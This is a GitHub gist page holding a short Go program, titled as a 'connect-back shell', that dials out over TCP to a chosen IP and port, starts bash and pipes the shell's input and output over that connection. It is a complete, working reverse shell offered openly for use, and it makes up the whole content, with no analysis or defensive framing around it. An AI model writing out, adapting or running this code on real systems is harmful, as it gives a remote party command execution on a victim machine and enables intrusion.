Skip to content

Instantly share code, notes, and snippets.

@cryptix
Created January 17, 2014 16:34
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save cryptix/8476512 to your computer and use it in GitHub Desktop.
Save cryptix/8476512 to your computer and use it in GitHub Desktop.
Connect-Back shell in <50 lines of Go
package main
import (
"flag"
"fmt"
"io"
"log"
"net"
"os/exec"
)
var (
dstIp = flag.String("dst", "127.0.0.1", "Destination IP")
dstPort = flag.Int("port", 3344, "Destination Port")
)
func main() {
flag.Parse()
dstAddr := fmt.Sprintf("%s:%d", *dstIp, *dstPort)
conn, err := net.Dial("tcp", dstAddr)
checkErr(err)
fmt.Println("Connected, spawing shell...")
shell := exec.Command("bash")
outp, err := shell.StdoutPipe()
checkErr(err)
inp, err := shell.StdinPipe()
checkErr(err)
go io.Copy(conn, outp)
go io.Copy(inp, conn)
err = shell.Run()
checkErr(err)
err = shell.Wait()
checkErr(err)
}
func checkErr(err error) {
if err != nil {
log.Fatal("FatalError:", err)
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment